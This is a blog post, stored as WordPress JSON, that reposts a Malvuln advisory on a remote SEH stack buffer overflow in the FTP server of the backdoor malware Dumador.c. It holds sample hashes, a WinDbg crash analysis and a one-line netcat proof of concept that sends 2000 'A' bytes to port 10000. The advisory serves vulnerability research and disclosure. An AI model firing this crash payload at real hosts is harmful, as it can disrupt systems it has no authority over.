{"id":56292,"date":"2024-04-16T19:19:39","date_gmt":"2024-04-16T15:19:39","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178075\/MVID-2024-0679.txt"},"modified":"2024-04-16T19:19:39","modified_gmt":"2024-04-16T15:19:39","slug":"backdoor-win32-dumador-c-mvid-2024-0679-buffer-overflow","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/backdoor-win32-dumador-c-mvid-2024-0679-buffer-overflow\/","title":{"rendered":"Backdoor.Win32.Dumador.c MVID-2024-0679 Buffer Overflow"},"content":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024<br \/>Original source: https:\/\/malvuln.com\/advisory\/6cc630843cabf23621375830df474bc5.txt<br \/>Contact: malvuln13@gmail.com<br \/>Media: twitter.com\/malvuln<\/p>\n<p>Threat: Backdoor.Win32.Dumador.c<br \/>Vulnerability: Remote Stack Buffer Overflow (SEH)<br \/>Description: The malware runs an FTP server on TCP port 10000. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).<br \/>Family: Dumador<br \/>Type: PE32<br \/>MD5: 6cc630843cabf23621375830df474bc5<br \/>SHA256: 634eb7d9f5488b46ac44d784da8d82d98a8d86c1c8ef9a838535d44b8e420ea9<br \/>Vuln ID: MVID-2024-0679<br \/>ASLR: False<br \/>DEP: False<br \/>CFG: False<br \/>Safe SEH: False<br \/>Disclosure: 04\/15\/2024<\/p>\n<p>Memory Dump:<br \/>(16e0.150): Stack buffer overflow &#8211; code c0000409 (first\/second chance not available)<br \/>eax=00000000 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000000 edi=00000002<br \/>eip=775ced3c esp=0401f208 ebp=0401f248 iopl=0 nv up ei pl nz na po nc<br \/>cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202<br \/>ntdll!ZwWaitForMultipleObjects+0xc:<br \/>775ced3c c21400 ret 14h<\/p>\n<p>0:002&gt; .ecxr<br \/>eax=0401fec8 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000410 edi=00000194<br \/>eip=74657c7c esp=0401f8b8 ebp=0401f8e0 iopl=0 nv up ei pl nz na pe nc<br \/>cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206<br \/>kernel32!lstrcpyA+0x1c:<br \/>74657c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:04020000=??<br \/>*** WARNING: Unable to verify checksum for Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe<br \/>*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe<\/p>\n<p>0:002&gt; !analyze -v<br \/>*******************************************************************************<br \/>* *<br \/>* Exception Analysis *<br \/>* *<br \/>*******************************************************************************<\/p>\n<p>FAULTING_IP: <br \/>kernel32!lstrcpyA+1c<br \/>74657c7c 880c16 mov byte ptr [esi+edx],cl<\/p>\n<p>EXCEPTION_RECORD: 0401f408 &#8212; (.exr 0x401f408)<br \/>ExceptionAddress: 74657c7c (kernel32!lstrcpyA+0x0000001c)<br \/>ExceptionCode: c0000005 (Access violation)<br \/>ExceptionFlags: 00000008<br \/>NumberParameters: 2<br \/>Parameter[0]: 00000001<br \/>Parameter[1]: 04020000<br \/>Attempt to write to address 04020000<\/p>\n<p>PROCESS_NAME: Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe<\/p>\n<p>ERROR_CODE: (NTSTATUS) 0xc0000409 &#8211; The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.<\/p>\n<p>EXCEPTION_CODE: (NTSTATUS) 0xc0000409 &#8211; The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.<\/p>\n<p>EXCEPTION_PARAMETER1: 00000015<\/p>\n<p>MOD_LIST: &lt;ANALYSIS\/&gt;<\/p>\n<p>NTGLOBALFLAG: 0<\/p>\n<p>APPLICATION_VERIFIER_FLAGS: 0<\/p>\n<p>CONTEXT: 0401f458 &#8212; (.cxr 0x401f458)<br \/>eax=0401fec8 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000410 edi=00000194<br \/>eip=74657c7c esp=0401f8b8 ebp=0401f8e0 iopl=0 nv up ei pl nz na pe nc<br \/>cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206<br \/>kernel32!lstrcpyA+0x1c:<br \/>74657c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:04020000=??<br \/>Resetting default scope<\/p>\n<p>WRITE_ADDRESS: 04020000 <\/p>\n<p>FOLLOWUP_IP: <br \/>kernel32!lstrcpyA+1c<br \/>74657c7c 880c16 mov byte ptr [esi+edx],cl<\/p>\n<p>STACK_ADDR_RAW_STACK_SYMBOL: 401fa34<\/p>\n<p>ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]\n<p>LAST_CONTROL_TRANSFER: from 00401bf3 to 74657c7c<\/p>\n<p>FAULTING_THREAD: ffffffff<\/p>\n<p>DEFAULT_BUCKET_ID: STACKIMMUNE<\/p>\n<p>PRIMARY_PROBLEM_CLASS: STACKIMMUNE<\/p>\n<p>BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE<\/p>\n<p>STACK_TEXT: <br \/>00000000 00000000 unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe+0x0<\/p>\n<p>STACK_COMMAND: .cxr 000000000401F458 ; kb ; ** Pseudo Context ** ; kb<\/p>\n<p>SYMBOL_NAME: unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe<\/p>\n<p>FOLLOWUP_NAME: MachineOwner<\/p>\n<p>MODULE_NAME: unknown<\/p>\n<p>IMAGE_NAME: unknown<\/p>\n<p>DEBUG_FLR_IMAGE_TIMESTAMP: 0<\/p>\n<p>FAILURE_BUCKET_ID: STACKIMMUNE_c0000409_unknown!Unloaded<\/p>\n<p>BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe<\/p>\n<p>Followup: MachineOwner<br \/>&#8212;&#8212;&#8212;<\/p>\n<p>0:002&gt; !exchain<br \/>0401f2c0: ntdll!_except_handler4+0 (775d6a50)<br \/>CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (776157ad)<br \/>0401f8d0: kernel32!_except_handler4+0 (7466d450)<br \/>CRT scope 0, filter: kernel32!lstrcpyA+2d (74657c8d)<br \/>func: kernel32!lstrcpyA+40 (74657ca0)<br \/>0401ffcc: 41414141<br \/>Invalid exception stack at 41414141<\/p>\n<p>Exploit\/PoC:<br \/>python -c &#8220;print(&#8216;A&#8217;*2000)&#8221; | nc64.exe x.x.x.x 10000<br \/>220 CONNECTED<br \/>ERROR<br \/>ERROR<br \/>ERROR<\/p>\n<p>Disclaimer: The information contained within this advisory is supplied &#8220;as-is&#8221; with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https:\/\/malvuln.com\/advisory\/6cc630843cabf23621375830df474bc5.txtContact: malvuln13@gmail.comMedia: twitter.com\/malvuln Threat: Backdoor.Win32.Dumador.cVulnerability: Remote Stack Buffer Overflow (SEH)Description: The malware runs an FTP server on TCP port 10000. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).Family: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56292","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56292"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56292\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}